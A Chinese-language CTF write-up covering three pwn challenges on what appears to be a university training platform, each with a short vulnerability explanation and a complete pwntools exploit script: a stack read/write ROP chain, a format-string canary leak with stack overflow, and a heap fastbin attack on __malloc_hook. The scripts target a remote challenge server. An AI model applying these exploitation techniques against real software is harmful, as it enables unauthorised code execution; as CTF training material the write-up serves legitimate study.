BIT 常态化在线CTF系统 pwn题目
偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目。看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下。
pwn1
栈上任意位置的读写操作,只能一字节一字节读写,算好偏移,还是挺好做的。
比较坑的是,远程的libc被改了,用one_gadgets打的时候,明明可以拿到shell,但是不给flag!真是可恶!!!
做题思路:泄露libc基地址,泄露pie程序基地址,把返回地址覆盖成pop_rdi,binsh,system,拿shell三连来拿到flag。
exp:
1 from pwn import * 2 3 #p = process('./pwn') 4 p = remote('39.105.189.183',7005) 5 #libc = ELF('./libc.so.6') 6 libc = ELF('./libc-2.23.so') 7 context.log_level = 'debug' 8 9 p.sendafter('name:','bhxdn') 10 libc_base = '' 11 12 #leak libc 13 for i in range(6): 14 p.sendlineafter('index\n',str(637-i)) 15 temp = p.recvuntil('\n')[-3:-1] 16 libc_base += temp 17 temp = int(temp,16) 18 p.sendlineafter('value\n',str(temp)) 19 20 libc_base = int(libc_base,16)-240-libc.symbols['__libc_start_main'] 21 print 'libc_base-->'+hex(libc_base) 22 system = libc_base+libc.symbols['system'] 23 binsh = libc_base+libc.search('/bin/sh').next() 24 25 #leak pie 26 pie = '' 27 for i in range(6): 28 p.sendlineafter('index\n',str(637-288-i)) 29 temp = p.recvuntil('\n')[-3:-1] 30 pie += temp 31 temp = int(temp,16) 32 p.sendlineafter('value\n',str(temp)) 33 pie = int(pie,16)-0x000B11 34 print 'pie-->'+hex(pie) 35 pop_rdi = pie+0x00d03 36 pop_rdi = str(hex(pop_rdi)) 37 system = str(hex(system)) 38 binsh = str(hex(binsh)) 39 40 for i in range(6): 41 p.sendlineafter('index\n',str(637-288-i)) 42 a = (i+1)*2 43 temp = int(pop_rdi[a:a+2],16) 44 p.sendlineafter('value\n',str(temp)) 45 for i in range(6): 46 p.sendlineafter('index\n',str(637-288-i+8)) 47 a = (i+1)*2 48 temp = int(binsh[a:a+2],16) 49 p.sendlineafter('value\n',str(temp)) 50 for i in range(6): 51 p.sendlineafter('index\n',str(637-288-i+16)) 52 a = (i+1)*2 53 temp = int(system[a:a+2],16) 54 p.sendlineafter('value\n',str(temp)) 55 56 p.sendlineafter('index\n','0') 57 p.sendlineafter('value\n','a') 58 p.sendlineafter('no)? ','no') 59 p.interactive() 60 p.recv() 61 p.recv()
pwn2
32位程序,有栈溢出,有格式化字符串漏洞。
先利用格式化字符串漏洞泄露canary和libc基地址,然后覆盖返回地址,拿shell三连击!
1 from pwn import * 2 3 #p = process('./pwn2') 4 libc = ELF('./libc-2.23_x86.so') 5 p = remote('39.105.189.183',7006) 6 context.log_level = 'debug' 7 8 p.sendlineafter('me?[Y]\n','Y') 9 p.sendlineafter('please:\n','%11$p-%27$p') 10 canary = int(p.recvuntil('-')[-11:-1],16) 11 libc_base = int(p.recv(10),16)-247-libc.symbols['__libc_start_main'] 12 print 'canary-->'+hex(canary) 13 print 'libc_base-->'+hex(libc_base) 14 system = libc_base+0x03adb0 15 binsh = libc_base+0x15bb0b 16 system = libc_base+libc.symbols['system'] 17 binsh = libc_base+libc.search('/bin/sh').next() 18 ret = 0x08048973 19 payload= 'a'*0x10+p32(canary)+'bbbb'*3+p32(ret)+p32(system)+p32(0)+p32(binsh) 20 p.send(payload) 21 p.interactive()
pwn3
pwn3是一道堆题目,增删查改四个功能都有。程序没有开启pie。
add:可以创建任意大小的堆块,其余漏洞没有了。(用的是malloc创建的堆块,创建时不会清理原来堆块的残余数据)
edit:没有任何问题,边界都控制的很好,也没有溢出。
show:没有任何问题。
delete:漏洞点就在delete函数中。发现对程序进行free的时候,没有检查边界。如果我们在堆上面伪造chunk指针,delete我们伪造的指针,就可以实现攻击。
做题思路:
1.通过创建0x80大小的堆块,再申请回来,show一下拿到libc基地址。
2.让unsortedbin链上有两个chunk,此时的一个chunk上的bk指针是指向另一个chunk的,bk存着堆地址,然后申请回来,show就可以得到堆的地址。
3.在堆上伪造一个chunk指针,指向一个chunk,利用delete函数的漏洞,对这个chunk进行free,此时在bss段还会有一个指向free的这个chunk的指针。这个chunk需要是0x68大小,free后是fastbins,也能申请到malloc_hook-0x23的位置。接下来就是改写fd指针,打malloc_hook,用realloc抬帧。
吐槽:还是libc问题,尝试了好多次,才找到一个可以用的偏移。
exp:
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('39.105.189.183',7007) 5 elf = ELF('./pwn') 6 context.log_level = 'debug' 7 #libc = ELF('./libc.so.6') 8 libc = ELF('./libc-2.23.so') 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(size,content): 14 p.sendlineafter('choice:','2') 15 p.sendlineafter('daily:',str(size)) 16 p.sendafter('daily\n',content) 17 def show(): 18 p.sendlineafter('choice:','1') 19 def edit(index,content): 20 p.sendlineafter('choice:','3') 21 p.sendlineafter('daily:',str(index)) 22 p.sendafter('daily\n',content) 23 def delete(index): 24 p.sendlineafter('choice:','4') 25 p.sendlineafter('daily:',str(index)) 26 27 add(0x80,'aaaaaaaa') 28 add(0x80,'bbbbbbbb') 29 delete(0) 30 add(0x80,'aaaaaaaa') 31 show() 32 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook'] 33 print 'libc_base-->'+hex(libc_base) 34 add(0x10,'aaaaaaaa') 35 add(0x80,'zzzzzzzz') 36 add(0x10,'zzzzzzzz') 37 delete(1) 38 delete(3) 39 duan() 40 add(0x80,'aaaabbbb') 41 42 show() 43 p.recvuntil('aaaabbbb') 44 heap_base = u64(p.recv(4).ljust(8,'\x00'))-0x140 45 print 'heap_base-->'+hex(heap_base) 46 add(0x80,'aaaaaaaa') 47 add(0x20,p64(0x70)+p64(heap_base+0x210+0x20)) 48 add(0x68,'aaaaaaaa') 49 add(0x10,'zzzzzzzz') 50 offset = (heap_base+0x200-0x602060)/16 51 print 'offset-->'+str(offset) 52 delete(offset) 53 edit(1,'zzzzzzzz') 54 edit(6,p64(libc_base+libc.symbols['__malloc_hook']-0x23)) 55 add(0x68,'aaaaaaaa') 56 57 #og = [0x45226,0x4527a,0xf0364,0xf1207] 58 og = [0x45216,0x4526a,0xf02a4,0xf1147] 59 shell = libc_base+og[1] 60 61 print hex(libc_base+libc.symbols['__malloc_hook']-0x23) 62 realloc = libc_base+libc.symbols['realloc'] 63 64 #add(0x68,'a'*(0x13-0x8)+p64(shell)+p64(realloc+13)) 65 add(0x68,'a'*(0x13-0x8)+p64(shell)+p64(realloc+6)) 66 p.sendlineafter('choice:','2') 67 p.sendlineafter('daily:',str(0x10)) 68 p.interactive()